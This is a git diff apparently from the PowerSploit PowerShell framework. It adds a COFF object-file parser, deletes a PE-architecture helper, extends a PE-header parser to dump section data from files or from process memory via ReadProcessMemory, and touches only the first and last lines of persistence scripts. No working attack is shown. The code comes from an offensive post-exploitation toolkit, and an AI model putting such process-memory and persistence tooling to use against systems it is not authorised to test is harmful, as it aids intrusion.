this.SizeOfRawData = br.ReadUInt32(); + this.PointerToRawData = br.ReadUInt32(); + this.PointerToRelocations = br.ReadUInt32(); + this.PointerToLinenumbers = br.ReadUInt32(); + this.NumberOfRelocations = br.ReadUInt16(); + this.NumberOfLinenumbers = br.ReadUInt16(); + this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32(); + } + } + + public enum SectionNumber : short + { + UNDEFINED, + ABSOLUTE = -1, + DEBUG = -2 + } + + [Flags] + public enum TypeClass : short + { + TYPE_NULL, + TYPE_VOID, + TYPE_CHAR, + TYPE_SHORT, + TYPE_INT, + TYPE_LONG, + TYPE_FLOAT, + TYPE_DOUBLE, + TYPE_STRUCT, + TYPE_UNION, + TYPE_ENUM, + TYPE_MOE, + TYPE_BYTE, + TYPE_WORD, + TYPE_UINT, + TYPE_DWORD, + DTYPE_POINTER = 0x100, + DTYPE_FUNCTION = 0x200, + DTYPE_ARRAY = 0x300, + DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB + } + + public enum StorageClass : byte + { + NULL, + AUTOMATIC, + EXTERNAL, + STATIC, + REGISTER, + EXTERNAL_DEF, + LABEL, + UNDEFINED_LABEL, + MEMBER_OF_STRUCT, + ARGUMENT, + STRUCT_TAG, + MEMBER_OF_UNION, + UNION_TAG, + TYPE_DEFINITION, + ENUM_TAG, + MEMBER_OF_ENUM, + REGISTER_PARAM, + BIT_FIELD, + BLOCK = 0x64, + FUNCTION = 0x65, + END_OF_STRUCT = 0x66, + FILE = 0x67, + SECTION = 0x68, + WEAK_EXTERNAL = 0x69, + CLR_TOKEN = 0x6B, + END_OF_FUNCTION = 0xFF + } + + public class SYMBOL_TABLE + { + public string Name; + public uint Value; + public SectionNumber SectionNumber; + public TypeClass Type; + public StorageClass StorageClass; + public byte NumberOfAuxSymbols; + public Object AuxSymbols; + private Byte[] NameArray; + + public SYMBOL_TABLE(BinaryReader br) + { + this.NameArray = br.ReadBytes(8); + + if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0) + { + // Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table + this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString(); + } + else + { + this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0)); + } + + this.Value = br.ReadUInt32(); + this.SectionNumber = (SectionNumber) br.ReadInt16(); + this.Type = (TypeClass) br.ReadInt16(); + if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());} + this.StorageClass = (StorageClass) br.ReadByte(); + this.NumberOfAuxSymbols = br.ReadByte(); + } + } + + public class SECTION_DEFINITION + { + public uint Length; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint CheckSum; + public ushort Number; + public byte Selection; + + public SECTION_DEFINITION(BinaryReader br) + { + this.Length = br.ReadUInt32(); + this.NumberOfRelocations = br.ReadUInt16(); + this.NumberOfLinenumbers = br.ReadUInt16(); + this.CheckSum = br.ReadUInt32(); + this.Number = br.ReadUInt16(); + this.Selection = br.ReadByte(); + br.ReadBytes(3); + } + } + } +'@ + + Add-Type -TypeDefinition $Code + + function Dispose-Objects + { + $BinaryReader.Dispose() + $FileStream.Dispose() + } + } + + PROCESS + { + foreach ($File in $Path) { + + # Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path. + $ObjFilePath = Resolve-Path $File + + # Pull out just the file name + $ObjFileName = Split-Path $ObjFilePath -Leaf + + # Fixed structure sizes + $SizeofCOFFFileHeader = 20 + $SizeofSectionHeader = 40 + $SizeofSymbolTableEntry = 18 + $SizeofRelocationEntry = 10 + + # Open the object file for reading + $FileStream = [IO.File]::OpenRead($ObjFilePath) + + $FileLength = $FileStream.Length + + if ($FileLength -lt $SizeofCOFFFileHeader) + { + # You cannot parse the COFF header if the file is not big enough to contain a COFF header. + Write-Error "$($ObjFileName) is too small to store a COFF header." + Dispose-Objects + return + } + + # Open a BinaryReader object for the object file + $BinaryReader = New-Object IO.BinaryReader($FileStream) + + # Parse the COFF header + $CoffHeader = New-Object COFF.HEADER($BinaryReader) + + if ($CoffHeader.SizeOfOptionalHeader -ne 0) + { + # Per the PECOFF specification, an object file does not have an optional header + Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header." + Dispose-Objects + return + } + + if ($CoffHeader.PointerToSymbolTable -eq 0) + { + Write-Error 'An object file is supposed to have a symbol table.' + Dispose-Objects + return + } + + if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader)) + { + # The object file isn't big enough to store the number of sections present. + Write-Error "$($ObjFileName) is too small to store section header data." + Dispose-Objects + return + } + + # A string collection used to store section header names. This collection is referenced while + # parsing the symbol table entries whose name is the same as the section header. In this case, + # the symbol entry will have a particular auxiliary symbol table entry. + $SectionHeaderNames = New-Object Collections.Specialized.StringCollection + + # Correlate the processor type to the relocation type. There are more relocation type defined + # in the PECOFF specification, but I don't expect those to be present. In that case, relocation + # entries default to X86RelocationType. + $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) + $MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType] + [COFF.Machine]::AMD64 = [COFF.AMD64RelocationType] + [COFF.Machine]::ARMV7 = [COFF.ARMRelocationType] + [COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] } + + # Parse section headers + for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) + { + $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) + + # Add the section name to the string collection. This will be referenced during symbol table parsing. + $SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null + + # Save the current filestream position. We are about to jump out of place. + $SavedFilePosition = $FileStream.Position + + # Check to see if the raw data points beyond the actual file size + if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength) + { + Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file." + return + } + else + { + # Read the raw data into a byte array + $FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null + $SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData) + } + + # Check to see if the section has a relocation table + if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations) + { + # Check to see if the relocation entries point beyond the actual file size + if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength) + { + Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file." + return + } + + $FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null + + $Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations) + + for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++) + { + $Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader) + # Cast the relocation as its respective type + $Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine]) + } + + # Add the relocation table entry to the section header + $SectionHeaders[$i].Relocations = $Relocations + } + + # Restore the original filestream pointer + $FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null + } + + # Retrieve the contents of the COFF string table + $SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry + $StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize + + if ($StringTableOffset -gt $FileLength) + { + Write-Error 'The string table points beyond the end of the file.' + Dispose-Objects + return + } + + $FileStream.Seek($StringTableOffset, 'Begin') | Out-Null + $StringTableLength = $BinaryReader.ReadUInt32() + + if ($StringTableLength -gt $FileLength) + { + Write-Error "The string table's length exceeds the length of the file." + Dispose-Objects + return + } + + $StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength)) + + $RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols) + + # Retrieve the symbol table + if ($FileLength -lt $StringTableOffset) + { + "Symbol table is larger than the file size." + return + } + + $FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null + $NumberofRegularSymbols = 0 + + <# + Go through each symbol table looking for auxiliary symbols to parse + + Currently supported auxiliary symbol table entry formats: + 1) .file + 2) Entry names that match the name of a section header + #> + for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) + { + # Parse the symbol tables regardless of whether they are normal or auxiliary symbols + $RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader) + + if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0) + { + # This symbol table entry has no auxiliary symbols + $NumberofRegularSymbols++ + } + elseif ($RawSymbolTable[$i].Name -eq '.file') + { + $TempPosition = $FileStream.Position # Save filestream position + # Retrieve the file name + $RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0)) + $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position + } + elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name)) + { + $TempPosition = $FileStream.Position # Save filestream position + $RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader) + $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position + } + } + + # Create an array of symbol table entries without auxiliary table entries + $SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols) + $j = 0 + + for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) + { + $SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol + $j++ + + # Skip over the auxiliary symbols + if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0) + { + $i += $RawSymbolTable[$i].NumberOfAuxSymbols + } + } + + # Dispose the binaryreader and filestream objects + Dispose-Objects + + # Fix the section names if any of them point to the COFF string table + for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) + { + if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0) + { + $StringTableIndex = $SectionHeaders[$i].Name.SubString(1) + + if ($StringTableIndex -match '^[1-9][0-9]*$') + { + $StringTableIndex = ([Int] $StringTableIndex) - 4 + + if ($StringTableIndex -gt ($StringTableLength + 4)) + { + Write-Error 'String table entry exceeds the bounds of the object file.' + } + + $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) + $SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length) + } + } + } + + # Fix the symbol table names + for ($i = 0; $i -lt $SymbolTable.Length; $i++) + { + if ($SymbolTable[$i].Name.IndexOf('/') -eq 0) + { + $StringTableIndex = $SymbolTable[$i].Name.SubString(1) + + if ($StringTableIndex -match '^[1-9][0-9]*$') + { + $StringTableIndex = ([Int] $StringTableIndex) - 4 + $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex + $SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length) + } + } + } + + # Apply symbol names to the relocation entries + $SectionHeaders | Where-Object { $_.Relocations } | % { + $_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name } + } + + $Result = @{ + COFFHeader = $CoffHeader + SectionHeaders = $SectionHeaders + SymbolTable = $SymbolTable + } + + $ParsedObjectFile = New-Object PSObject -Property $Result + $ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE' + Write-Output $ParsedObjectFile + + } + } + + END {} +} diff --git a/PETools/Get-PEArchitecture.ps1 b/PETools/Get-PEArchitecture.ps1 deleted file mode 100644 index efc80be..0000000 --- a/PETools/Get-PEArchitecture.ps1 +++ /dev/null @@ -1,94 +0,0 @@ -function Get-PEArchitecture
-{
-<#
-.SYNOPSIS
-
-Outputs the architecture for which a binary was compiled.
-
-PowerSploit Function: Get-PEArchitecture
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
-
-.DESCRIPTION
-
-Get-PEArchitecture returns the architecture for which a Windows portable executable was compiled.
-
-.PARAMETER Path
-
-Path to the executable.
-
-.EXAMPLE
-
-C:\PS> Get-PEArchitecture C:\Windows\SysWOW64\calc.exe
-X86
-
-.EXAMPLE
-
-C:\PS> Get-PEArchitecture C:\Windows\System32\cmd.exe
-X64
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
- Param (
- [Parameter(Position = 0, Mandatory = $True)]
- [String]
- $Path
- )
-
- if (!(Test-Path $Path)) {
- Write-Warning 'Invalid path or file does not exist.'
- return
- }
-
- # Parse PE header to see if binary was compiled 32 or 64-bit
- $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
-
- [Byte[]] $MZHeader = New-Object Byte[](2)
- $FileStream.Read($MZHeader,0,2) | Out-Null
-
- $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
- if ($Header -ne 'MZ') {
- Write-Warning 'Invalid PE header.'
- $FileStream.Close()
- return
- }
-
- # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
- $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
-
- [Byte[]] $lfanew = New-Object Byte[](4)
-
- # Read offset to the PE Header (will be read in reverse)
- $FileStream.Read($lfanew,0,4) | Out-Null
- $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
-
- # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
- $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
- [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
-
- # Read compiled architecture
- $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
- $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
- $FileStream.Close()
-
- if (($Architecture -ne '014C') -and ($Architecture -ne '8664') -and ($Architecture -ne '01C4')) {
- Write-Warning 'Invalid PE header or unsupported architecture.'
- return
- }
-
- if ($Architecture -eq '014C') {
- return 'X86'
- } elseif ($Architecture -eq '8664') {
- return 'X64'
- } elseif ($Architecture -eq '01C4') {
- return 'ARM'
- } else {
- return 'OTHER'
- }
-
-}
diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 index 01a91f1..0021377 100644 --- a/PETools/Get-PEHeader.ps1 +++ b/PETools/Get-PEHeader.ps1 @@ -15,6 +15,26 @@ Optional Dependencies: PETools.format.ps1xml Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules. +.PARAMETER FilePath + +Specifies the path to the portable executable file on disk + +.PARAMETER ProcessID + +Specifies the process ID. + +.PARAMETER Module + +The name of the module. This parameter is typically only used in pipeline expressions + +.PARAMETER ModuleBaseAddress + +The base address of the module + +.PARAMETER GetSectionData + +Retrieves raw section data. + .OUTPUTS System.Object @@ -91,14 +111,11 @@ http://www.exploit-monday.com/2012/07/get-peheader.html #> [CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param ( - # Path to the portable executable file on disk [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath, - # The process ID [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID, - # The name of the module. This parameter is typically only used in pipeline expressions [Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module, - # The base address of the module - [Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress + [Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress, + [Parameter()] [Switch] $GetSectionData ) PROCESS { @@ -508,12 +525,10 @@ PROCESS { } "@ - $location = [PsObject].Assembly.Location $compileParams = New-Object System.CodeDom.Compiler.CompilerParameters - $assemblyRange = @("System.dll", $location) - $compileParams.ReferencedAssemblies.AddRange($assemblyRange) + $compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll')) $compileParams.GenerateInMemory = $True - Add-Type -TypeDefinition $code -passthru -WarningAction SilentlyContinue | Out-Null + Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null } function Get-DelegateType @@ -565,13 +580,13 @@ PROCESS { $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate) $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool]) - $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate) if ($OnDisk) { @@ -606,9 +621,9 @@ PROCESS { } - $DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [PE+_IMAGE_DOS_HEADER]) + $DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER]) $PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew) - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [PE+_IMAGE_NT_HEADERS32]) + $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32]) $Architecture = ($NtHeader.FileHeader.Machine).ToString() $BinaryPtrWidth = 4 @@ -628,7 +643,7 @@ PROCESS { Write-Verbose "Architecture: $Architecture" Write-Verbose 'Proceeding with parsing a 64-bit binary.' - } elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT') { + } elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') { $PEStruct = @{ IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32] @@ -648,15 +663,15 @@ PROCESS { } # Need to get a new NT header in case the architecture changed - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, $PEStruct['NT_HEADER']) + $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER']) # Display all section headers $NumSections = $NtHeader.FileHeader.NumberOfSections $NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes - $PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($PEStruct['NT_HEADER'])) - $SectionHeaders = New-Object PE+_IMAGE_SECTION_HEADER[]($NumSections) + $PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER'])) + $SectionHeaders = New-Object PSObject[]($NumSections) foreach ($i in 0..($NumSections - 1)) { - $SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([PE+_IMAGE_SECTION_HEADER])))), [PE+_IMAGE_SECTION_HEADER]) + $SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER]) } @@ -686,6 +701,27 @@ PROCESS { $CloseHandle.Invoke($hProcess) | Out-Null } + + if ($PSBoundParameters['GetSectionData']) + { + foreach ($i in 0..($NumSections - 1)) + { + $RawBytes = $null + + if ($OnDisk) + { + $RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData) + [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData) + } + else + { + $RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize) + [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize) + } + + $SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force + } + } function Get-Exports() { @@ -705,7 +741,7 @@ PROCESS { $ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size } else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size } - $ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [PE+_IMAGE_EXPORT_DIRECTORY]) + $ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY]) $AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames) $NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals) $AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions) @@ -800,8 +836,8 @@ PROCESS { # Get all imported modules while ($true) { - $ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([PE+_IMAGE_IMPORT_DESCRIPTOR]))) - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [PE+_IMAGE_IMPORT_DESCRIPTOR]) + $ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]))) + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]) if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break } $DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name) if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr } @@ -815,10 +851,10 @@ PROCESS { $j = 0 while ($true) { - $FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf($ThunkDataStruct))) - $FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, $ThunkDataStruct) - $OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf($ThunkDataStruct))) - $ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, $ThunkDataStruct) + $FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) + $FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct) + $OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) + $ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct) $Result = @{ ModuleName = $DllName } if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1') @@ -921,4 +957,4 @@ PROCESS { } -}
\ No newline at end of file +} diff --git a/PETools/PETools.format.ps1xml b/PETools/PETools.format.ps1xml index 17d2c56..c510281 100644 --- a/PETools/PETools.format.ps1xml +++ b/PETools/PETools.format.ps1xml @@ -371,4 +371,4 @@ </TableControl> </View> </ViewDefinitions> -</Configuration>
\ No newline at end of file +</Configuration> diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index ef3db56..ef470a7 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'PETools.psm1'
@@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
-FormatsToProcess = 'PETools.format.ps1xml'
+FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml'
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
@@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd150 # List of all files packaged with this module
FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1',
- 'Get-PEArchitecture.ps1', 'Get-PEHeader.ps1', 'Usage.md'
+ 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1',
+ 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
@@ -85,4 +86,4 @@ FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoad # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file +}
diff --git a/PETools/PETools.psm1 b/PETools/PETools.psm1 index e5234fb..81d3818 100644 --- a/PETools/PETools.psm1 +++ b/PETools/PETools.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Persistence/Add-Persistence.ps1 b/Persistence/Add-Persistence.ps1 index cd04fbf..27d7ba7 100644 --- a/Persistence/Add-Persistence.ps1 +++ b/Persistence/Add-Persistence.ps1 @@ -1,4 +1,4 @@ -function Add-Persistence +function Add-Persistence { <# .SYNOPSIS @@ -397,4 +397,4 @@ $UserTriggerRemoval } #endregion -}
\ No newline at end of file +} diff --git a/Persistence/New-ElevatedPersistenceOptions.ps1 b/Persistence/New-ElevatedPersistenceOptions.ps1 index 4e11dee..5e04286 100644 --- a/Persistence/New-ElevatedPersistenceOptions.ps1 +++ b/Persistence/New-ElevatedPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-ElevatedPersistenceOptions +function New-ElevatedPersistenceOptions { <# .SYNOPSIS @@ -167,4 +167,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions' Write-Output $PersistenceOptions -}
\ No newline at end of file +} diff --git a/Persistence/New-UserPersistenceOptions.ps1 b/Persistence/New-UserPersistenceOptions.ps1 index 9672c2e..3b33ffa 100644 --- a/Persistence/New-UserPersistenceOptions.ps1 +++ b/Persistence/New-UserPersistenceOptions.ps1 @@ -1,4 +1,4 @@ -function New-UserPersistenceOptions +function New-UserPersistenceOptions { <# .SYNOPSIS @@ -125,4 +125,4 @@ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions' Write-Output $PersistenceOptions -}
\ No newline at end of file +} diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index 21a7871..de97697 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Persistence.psm1' @@ -34,4 +34,4 @@ ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = ' FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1', 'New-UserPersistenceOptions.ps1', 'Usage.md' -}
